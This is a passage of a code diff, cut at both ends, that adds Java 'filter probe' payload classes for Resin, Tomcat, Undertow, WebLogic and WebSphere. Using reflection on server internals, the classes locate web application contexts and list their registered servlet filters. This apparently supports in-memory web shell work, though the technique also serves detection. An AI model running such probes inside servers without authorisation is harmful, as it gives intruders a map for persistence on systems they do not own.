+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    /**
+     * com.caucho.server.webapp.Application
+     * /usr/local/resin3/lib/resin.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            Class<?> servletInvocationClass = null;
+            try {
+                servletInvocationClass = thread.getContextClassLoader()
+                        .loadClass("com.caucho.server.dispatch.ServletInvocation");
+            } catch (Exception e) {
+                continue;
+            }
+            if (servletInvocationClass != null) {
+                Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
+                Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
+                contexts.add(webApp);
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/TomcatFilterProbe.java

@@ -0,0 +1,250 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class TomcatFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings("unchecked")
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> org.apache.catalina.core.StandardContext
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps");
+        if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList();
+        for (Object fm : filterMaps) {
+            // fm -> org.apache.tomcat.util.descriptor.web.FilterMap/org.apache.catalina.deploy.FilterMap
+            String name = (String) invokeMethod(fm, "getFilterName");
+            if (!aggregatedData.containsKey(name)) {
+                // filterDef -> org.apache.tomcat.util.descriptor.web.FilterDef/org.apache.catalina.deploy.FilterDef
+                Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
+                String filterClass = (String) invokeMethod(filterDef, "getFilterClass");
+                if (filterClass == null) {
+                    // filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
+                    Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
+                    Object filter = invokeMethod(filterConfig, "getFilter");
+                    if (filter != null) filterClass = filter.getClass().getName();
+                }
+                Map<String, Object> info = new HashMap<>();
+                info.put("filterName", name);
+                info.put("filterClass", filterClass);
+                info.put("urlPatterns", new LinkedHashSet<String>());
+                info.put("servletNames", new LinkedHashSet<String>());
+                aggregatedData.put(name, info);
+            }
+            Map<String, Object> info = aggregatedData.get(name);
+            String[] urls = null;
+            try {
+                urls = (String[]) invokeMethod(fm, "getURLPatterns");
+            } catch (Exception e) {
+                // Tomcat 5 org.apache.catalina.deploy.FilterMap
+                String urlPattern = (String) invokeMethod(fm, "getURLPattern");
+                if (urlPattern != null) {
+                    urls = new String[]{urlPattern};
+                }
+            }
+            if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
+            String[] servletNames = null;
+            try {
+                servletNames = (String[]) invokeMethod(fm, "getServletNames");
+            } catch (Exception e) {
+                // Tomcat 5 org.apache.catalina.deploy.FilterMap
+                String servletName = (String) invokeMethod(fm, "getServletName");
+                if (servletName != null) {
+                    servletNames = new String[]{servletName};
+                }
+            }
+            if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    /**
+     * org.apache.catalina.core.StandardContext
+     * /usr/local/tomcat/server/lib/catalina.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
+    public static Object invokeMethod(Object obj, String methodName) throws Exception {
+        return invokeMethod(obj, methodName, null, null);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/UndertowFilterProbe.java

@@ -0,0 +1,212 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class UndertowFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings("unchecked")
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> io.undertow.servlet.spec.ServletContextImpl
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        // deploymentInfo -> io.undertow.servlet.api.DeploymentInfo
+        Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+        Map<String, Object> filters = (Map<String, Object>) getFieldValue(deploymentInfo, "filters");
+        List<Object> filterUrlMappings = (List<Object>) getFieldValue(deploymentInfo, "filterUrlMappings");
+        List<Object> filterServletNameMappings = (List<Object>) getFieldValue(deploymentInfo, "filterServletNameMappings");
+        for (Object filterUrlMapping : filterUrlMappings) {
+            // filterUrlMapping -> io.undertow.servlet.api.FilterMappingInfo
+            Map<String, Object> info = fillFilterInfo(filterUrlMapping, filters, aggregatedData);
+            String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping");
+            if (urlPattern != null) {
+                ((Set<String>) info.get("urlPatterns")).add(urlPattern);
+            }
+        }
+        for (Object filterServletNameMapping : filterServletNameMappings) {
+            // filterServletNameMapping -> io.undertow.servlet.api.FilterMappingInfo
+            Map<String, Object> info = fillFilterInfo(filterServletNameMapping, filters, aggregatedData);
+            String servletNames = (String) getFieldValue(filterServletNameMapping, "mapping");
+            if (servletNames != null) {
+                ((Set<String>) info.get("servletNames")).add(servletNames);
+            }
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    private static Map<String, Object> fillFilterInfo(Object filterServletNameMapping, Map<String, Object> filters, Map<String, Map<String, Object>> aggregatedData) throws NoSuchFieldException, IllegalAccessException {
+        String filterName = (String) getFieldValue(filterServletNameMapping, "filterName");
+        if (!aggregatedData.containsKey(filterName)) {
+            Map<String, Object> info = new HashMap<>();
+            info.put("filterName", filterName);
+            Class<?> filterClass = (Class<?>) getFieldValue(filters.get(filterName), "filterClass");
+            info.put("filterClass", filterClass.getName());
+            info.put("urlPatterns", new LinkedHashSet<String>());
+            info.put("servletNames", new LinkedHashSet<String>());
+            aggregatedData.put(filterName, info);
+        }
+        return aggregatedData.get(filterName);
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    @SuppressWarnings("Duplicates")
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Class<?> clazz = thread.getContextClassLoader()
+                        .loadClass("io.undertow.servlet.handlers.ServletRequestContext");
+                Object requestContext = invokeMethod(clazz, "current", null, null);
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebLogicFilterProbe.java

@@ -0,0 +1,254 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import javax.management.MBeanServer;
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.management.ManagementFactory;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class WebLogicFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings("unchecked")
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> weblogic.servlet.internal.WebAppServletContext
+        // filterManager -> weblogic.servlet.internal.FilterManager
+        Object filterManager = getFieldValue(context, "filterManager");
+        Map<String, Object> filters = (Map<String, Object>) getFieldValue(filterManager, "filters");
+        List<Object> filterPatternList = (ArrayList<Object>) getFieldValue(filterManager, "filterPatternList");
+        List<Object> filterServletList = (ArrayList<Object>) getFieldValue(filterManager, "filterServletList");
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        for (Object filterInfo : filterPatternList) {
+            // filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
+            Object urlMap = getFieldValue(filterInfo, "map");
+            String filterName = (String) getFieldValue(filterInfo, "filterName");
+            if (filterName == null) {
+                // WebLogic 10.3.6
+                Object[] mapValues = (Object[]) invokeMethod(urlMap, "values", null, null);
+                filterName = ((String) mapValues[0]);
+            }
+            Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
+            String[] urlPatterns = (String[]) invokeMethod(urlMap, "keys", null, null);
+            if (urlPatterns != null) {
+                ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urlPatterns));
+            }
+        }
+        for (Object filterInfo : filterServletList) {
+            // filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
+            String filterName = (String) getFieldValue(filterInfo, "filterName");
+            Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
+            String servletName = (String) getFieldValue(filterInfo, "servletName");
+            if (servletName != null) {
+                ((Set<String>) info.get("servletNames")).add(servletName);
+            }
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    private static Map<String, Object> fillFilterInfo(Map<String, Map<String, Object>> aggregatedData, String filterName, Map<String, Object> filters) throws Exception {
+        if (!aggregatedData.containsKey(filterName)) {
+            // filterWrapper -> weblogic.servlet.internal.FilterWrapper
+            Object filterWrapper = filters.get(filterName);
+            String filterClassName = null;
+            try {
+                filterClassName = (String) getFieldValue(filterWrapper, "filterClassName");
+            } catch (NoSuchFieldException e) {
+                // WebLogic 10.3.6
+                filterClassName = (String) getFieldValue(filterWrapper, "filterclass");
+            }
+            if (filterClassName == null) {
+                Object filter = getFieldValue(filterWrapper, "filter");
+                if (filter != null) {
+                    filterClassName = filter.getClass().getName();
+                }
+            }
+            Map<String, Object> info = new HashMap<>();
+            info.put("filterName", filterName);
+            info.put("filterClass", filterClassName);
+            info.put("urlPatterns", new LinkedHashSet<String>());
+            info.put("servletNames", new LinkedHashSet<String>());
+            aggregatedData.put(filterName, info);
+        }
+        return aggregatedData.get(filterName);
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+
+    /**
+     * weblogic.servlet.internal.WebAppServletContext
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
+     */
+    public static Set<Object> getContext() throws Exception {
+        Set<Object> webappContexts = new HashSet<Object>();
+        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+            String key = entry.getKey();
+            if (key.contains("Type=WebAppComponentRuntime")) {
+                Object value = entry.getValue();
+                Object managedResource = getFieldValue(value, "managedResource");
+                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
+                    webappContexts.add(getFieldValue(managedResource, "context"));
+                }
+            }
+        }
+        try {
+            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            Object request = null;
+            try {
+                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                request = getFieldValue(connectionHandler, "request");
+            } catch (Exception x) {
+                // WebLogic 10.3.6
+                request = workEntry;
+            }
+            if (request != null) {
+                webappContexts.add(getFieldValue(request, "context"));
+            }
+        } catch (Throwable ignored) {
+        }
+        return webappContexts;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/WebSphereFilterProbe.java

@@ -0,0 +1,285 @@
+package com.reajason.javaweb.probe.payload.filter;
+
+import java.io.ByteArrayOutputStream;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ */
+public class WebSphereFilterProbe {
+
+    @Override
+    @SuppressWarnings("Duplicates")
+    public String toString() {
+        StringBuilder msg = new StringBuilder();
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg.append("context error: ").append(getErrorMessage(throwable));
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg.append("context not found\n");
+        } else {
+            Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
+            for (Object context : contexts) {
+                String contextRoot = getContextRoot(context);
+                try {
+                    List<Map<String, String>> filters = collectFiltersData(context);
